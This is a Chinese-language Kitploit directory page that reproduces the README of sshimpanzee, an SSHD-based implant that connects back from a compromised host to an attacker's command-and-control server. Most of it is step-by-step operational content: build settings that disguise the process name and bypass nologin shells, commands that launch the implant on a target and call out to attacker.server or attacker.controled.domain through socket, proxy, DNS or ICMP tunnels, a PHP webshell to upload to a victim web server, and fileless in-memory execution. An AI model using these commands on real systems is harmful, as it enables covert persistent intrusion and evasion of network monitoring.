Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
sshimpanzee — 基于SSHD的植入程序,支持多种隧道机制以连接C2(DNS、ICMP、HTTP封装、HTTP/Socks代理、UDP……) | Kitploit
工具/GitHubGitHub/lexfo/sshimpanzee
Payload生成后渗透利用网络安全命令与控制红队远程访问工具DNS 分析
GitHublexfo/sshimpanzee

sshimpanzee

基于SSHD的植入程序,支持多种隧道机制以连接C2(DNS、ICMP、HTTP封装、HTTP/Socks代理、UDP……)

查看仓库
293291年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

Sshimpanzee

Sshimpanzee 允许你构建一个__静态的反向SSH服务器__。它不是监听端口等待连接,而是SSH服务器会主动发起反向连接到攻击者的IP,就像常规的反向shell一样。Sshimpanzee 让你能够利用__常规SSH连接的所有功能__,比如__端口转发、动态SOCKS代理或FTP服务器__。

更重要的是,如果从受害机器到攻击者服务器的直接连接不可行,它提供了不同的隧道机制,例如__DNS隧道、ICMP隧道或HTTP封装__。它还支持HTTP和SOCKS5代理。可在lexfo的博客上获取一篇技术论文。

DOCKER构建 - 推荐

root@kitploit:~
sudo docker build . --output . 
sudo docker build . --platform arm64 --output . 

你可能需要启用环境变量 DOCKER_BUILDKIT=1

编译文件

构建基于build.yaml文件进行:

root@kitploit:~

###
# 这是 sshimpanzee 构建配置文件
# YAML 用于描述 sshimpanzee 应具有的行为和功能
###

### 通用配置

process_name: "sshimpanzee" # 进程在 ps 中显示的名称(但无法用此名称杀死进程)


banner: True # 是否在日志中显示横幅
verbose: 3 # 在 build/build.log 中记录的详细级别

shell: "/bin/sh" # 为用户弹出的默认 shell,绕过 /etc/passwd 中 shell 为 false 或 nologin 的条目
timer: 60*1000*1000  # 新的 sshimpanzee 子进程在退出后分叉前等待的时间(毫秒)。例如在 sock 模式下,前一个 sshd 连接死亡 1 分钟后会建立新的连接

keygen: True # 在构建期间重新生成密钥,确保使用新的 HOST 和 CLIENT 密钥
public_key: # 如果不重新生成新密钥,可以指定一个公钥进行身份验证(仅支持 ed25519 密钥)
#public key: "ssh-ed25519 .... ROGUE@ROGUE"

make: True # 如果需要构建脚本生成 sshd 二进制文件,请保持为 true
force_clean_build: True # 目前 Docker 构建需要,将强制构建脚本重新编译隧道和依赖项
reconf: True # Docker 构建需要


### 环境
# sshimpanzee 在运行时通过环境变量配置,但也可以预设环境变量以获得默认行为


env:
  if_not_set : # 这里的变量将在不存在时设置
    REMOTE: 127.0.0.1
    PORT: 8080
    MODE: sock # MODE 环境变量用于管理默认隧道
  overwrite: # 这里的变量将覆盖已存在的变量
    

### 隧道
# sshimpanzee 带有不同的隧道机制
# 为了加快编译速度,更重要的是获得更轻量的二进制文件,可以包含或排除某些隧道
# 可以在此处指定隧道编译参数
tun:
  sock:
      enabled: True

  icmp:
      enabled: True
      buildserv: True # 是否构建相应的 ICMPTunnel 服务器
      raw_sock: False # 是否构建对旧内核原始套接字的支持

  http_enc :
      enabled: True
      key: # webshell 密钥,空将生成新密钥
      target:
        - "php" # 要为其生成 webshell 的语言列表
      path_fd: "/dev/shm/sshim" # sshimpanzee 用于与 webshell 通信的 FIFO

  dns:
      enabled: True    
      resource: sshimpanzee # DNS2TCP 资源
      key: sshimpanzee # DNS2TCP 密钥
      obfuscate: True # 混淆 DNS2TCP 魔数,这将强制构建相应的服务器
      buildserv: False 
      qtype: TXT # DNS2TCP 使用的查询类型

  proxysock:
      enabled: True

  no_build:
      enabled: False 
      path: []

# Openssh 子系统
# man sshd_config Subsystems

subsystems:

  internal_sftp: # openssh 提供的标准 sftp
    enabled: True # scp 和 sftp 需要
    name: sftp
    exec: internal-sftp
    is_internal: True
    
  remote_exec: # Sshimpanzee 自定义子系统
    enabled: True # 使用无文件 memfd 技术进行远程执行
    name: remote-exec
    exec: internal-remote-exec
    is_internal: True

  python: # 标准 ssh 子系统示例
    enabled: False
    name: python
    exec: /usr/bin/python -c "print('python code')"
    is_internal: False

使用方法

运行时,sshimpanzee 二进制文件通过环境变量进行配置。 MODE 变量允许用户选择编译好的隧道。 每个隧道都可以通过环境变量进行配置。 例如,要获得一个反向连接到 127.0.0.1:8080 的经典连接,请使用以下命令:

root@kitploit:~
MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee

可以使用 -d 参数在调试模式下运行 sshimpanzee。 在调试模式下,sshimpanzee 将保持在前台。

隧道

目前 sshimpanzee 支持植入体连接到攻击者 SSH 客户端的多种方式:

  • DNS 隧道(使用 dns2tcp 协议)
  • 代理:HTTP/SOCKS4/SOCKS5
  • 套接字(如果你想实现自己的隧道可能有用)
  • ICMP 隧道
  • HTTP 封装

Sock 连接

  1. 在客户端按如下方式运行 ssh:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
  1. 在目标上运行 sshimpanzee:
root@kitploit:~
MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee 

其他示例:

root@kitploit:~
MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee  # 绑定并监听 127.0.0.1:8080

MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # 连接到 Unix 套接字 /tmp/sock
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # 绑定并监听 Unix 套接字 /tmp/sock

通过代理连接

  1. 在客户端按如下方式运行 ssh:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 4444" -i CLIENT
  1. 在目标上运行 sshimpanzee:
root@kitploit:~
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee

其他示例:

root@kitploit:~
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee

使用 DNS 隧道

  1. 在服务器上使用此仓库中的配置文件运行标准的 dns2tcpd,你需要修改域名(如果需要,还要修改资源端口)。
root@kitploit:~
listen = 0.0.0.0
port = 53
user = nobody
key = sshimpanzee
chroot = /var/empty/dns2tcp/
domain = <SERVER>
resources = sshimpanzee:127.0.0.1:8080
root@kitploit:~
sudo ./dns2tcpd -F -f dns2tcpdrc
  1. 在客户端按如下方式运行 ssh:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
  1. 运行 sshimpanzee 二进制文件:
root@kitploit:~
MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee

其他示例:

root@kitploit:~
MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # 强制使用 8.8.8.8 DNS 解析器

使用 ICMP 隧道

  1. 在服务器上,添加正确的 capabilities 以避免以 root 身份运行 proxycommand,并禁用系统的 ping 响应
root@kitploit:~
sudo setcap cap_net_raw+ep icmptunnel
echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all 
  1. 使用 icmptunnel 作为 proxycommand 运行标准的 ssh 客户端:
root@kitploit:~
ssh i -oProxyCommand=./icmptunnel -i test/CLIENT 
  1. 运行 sshimpanzee 二进制文件:
root@kitploit:~
MODE=icmp REMOTE=127.0.0.1 ./sshimpanzee 

使用 HTTP 封装(ssh -> http 服务器 -> sshd)

  1. 将文件 /tuns/http_enc/proxy.php 和 sshd 文件上传到目标 web 服务器

  2. 确保 proxy.php 能正确执行

  3. 在 web 服务器上运行 sshd 二进制文件

root@kitploit:~
MODE=http_enc ./sshimpanzee 
  1. 在客户端机器上使用 utils/scripts/ 中的 python 脚本作为代理命令运行 ssh:
root@kitploit:~
ssh -o ProxyCommand='python proxy_cli.py http://127.0.0.1:8080/proxy.php EncryptionKey 2>/dev/null' a@a -i ../../keys/CLIENT 

可以向 proxy_cli.py 传递多个参数以添加代理。 目前仅支持 PHP。在 JSP 服务器上,建议使用:A Black Path Toward The Sun (ABPTTS)

关于 HTTP 封装的备注

  1. Proxy.php 是一个最小的 webshell,你可以用它上传 sshd 到服务器并执行命令。proxy_cli.py 提供了 --run 和 --drop 选项来实现这一点。

  2. 你可能会遇到明显的输入延迟,这是因为 SSH 客户端发送的每个数据包会额外延迟 1 到 5 秒,以防止生成过多的 HTTP 请求。如果你不介意生成大量 HTTP 请求(从而在 web 服务器上产生大量日志),请在 proxy_cli.py 命令中添加 --no-buffer 选项。

使用 sshimpanzee 客户端

此仓库还提供了一个客户端,位于 utils/client/bin。 只需将 CLIENT 密钥复制到 utils/client/keys/ 中:

root@kitploit:~
sshimpanzee --new PORT # 在 PORT 上创建一个新的监听器
sshimpanzee --new-dns # 创建一个新的 DNS 监听器(别忘了修改 utils/client/config/dnsconf.txt)
sshimpanzee --new-icmp # 创建一个新的 icmp 监听器
sshimpanzee --new-http PROXY_PHP_URL # 创建一个新的 HTTP 会话

sshimpanzee --list # 列出可用会话

sshimpanzee --get SESSION_NUMBER # 进入一个会话,任何额外参数都将作为 ssh 参数传递
sshimpanzee --rename SESSION_NUMBER # 重命名一个会话
sshimpanzee --kill SESSION_NUMBER # 杀死一个会话
sshimpanzee # 使用 fzf 选择你想要进入的会话

但它的可靠性可能不如直接使用 ssh。

创建你自己的隧道机制

所有隧道都在 tuns/ 目录中。如果你想添加另一个隧道,只需在 tuns/builder.py 中添加一个以隧道名称命名的函数。该函数负责生成一个包含多个 .o 文件的 libtun.a 归档文件,其中至少有一个文件导出 tun() 符号。 或者,你可以自行构建 libtun.a,并使用名为 no_build 的隧道,并提供自定义 libtun.a 的路径。

使用无文件执行

如果 sshimpanzee 是使用 remote-exec 子系统模块构建的,则可以在内存中完全远程执行代码。

root@kitploit:~

python remote_loader.py "ssh -vvvv t@t -S ./SOCKET -s remote-exec" /home/titouan/tools/Misc/RustScan/target/release/rustscan -a 127.0.0.1

未来工作

  • 添加其他隧道:
    • HTTP 封装(通过 http_enc 和 proxy.php 的第一步:添加 JSP 和其他程序)
    • 使用原始套接字的用户态 TCP/IP 栈?
    • ICMP:对字符串进行异或/加密以避免网络分析时的检测
    • 用于后渗透的子系统:
      • 进程转储
      • TCP 扫描

致谢

此仓库依赖于许多不同的项目。

  • 首先,Openssh-portable (9.1):https://github.com/openssh/openssh-portable
  • musl libc 用于静态构建:https://wiki.musl-libc.org/

对于隧道:

  • Dns2tcp:https://github.com/alex-sector/dns2tcp
  • icmptunnel(经过大量修改以提高隧道弹性):https://github.com/DhavalKapil/icmptunnel.git
  • Proxysocket:https://github.com/brechtsanders/proxysocket

需要强调的是,这不是一个非常原创的项目,利用 SSH 协议进行武器化已经在几年前实现过:

  • https://github.com/Marc-andreLabonte/blackbear
  • https://github.com/Fahrj/reverse-ssh
  • https://github.com/NHAS/reverse_ssh
下载工具